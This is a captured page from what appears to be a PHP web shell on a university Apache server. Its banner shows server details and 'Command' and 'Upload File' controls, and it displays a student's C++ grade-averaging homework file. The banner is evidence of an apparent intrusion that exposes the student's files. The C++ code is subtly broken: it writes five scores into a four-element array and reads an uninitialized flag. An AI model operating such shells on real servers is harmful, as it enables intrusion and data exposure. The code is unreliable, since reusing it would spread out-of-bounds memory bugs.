Server IP : 172.16.15.8 / Your IP : 3.15.239.0 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/mpcollins/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// Filename: hw6.cpp // Author: Michael Collins // Instructor: Dr. Wang // Compilation: g++ hw6.cpp -o hw6.out // Execution: ./hw6.out // Goal: Calculates grades and drops lowest grade. # include <iostream> using namespace std; void Grade(int[], bool&); void Average(int[], int); int Lowest(int[], int); int main() { int grade[4]; int total=0; bool fail; Grade(grade,fail); if (fail == true) return 1; Average(grade,total); return 0; } void Grade(int grade[], bool& fail) { cout << "Enter five scores" << endl; for(int g=0; g<=4; g++) { cin >> grade[g]; if(grade[g] <0 || grade[g] >100) { cout << "Grade is incorrect." << endl; fail = true; } } } void Average(int grade[], int total) { cout << "Average score after lowest grade dropped: " << endl; cout << Lowest (grade, total) << endl; } int Lowest(int grade[], int total) { for (int i= 0; i<=4; i++) { int a, save = grade[i]; for ( a = i; a >= 1 && grade[a - 1] > save; a-- ) grade[a] = grade[a - 1]; grade[a] = save; } for(int g=1; g<=4; g++) total += grade[g]; total = total/4; return total; }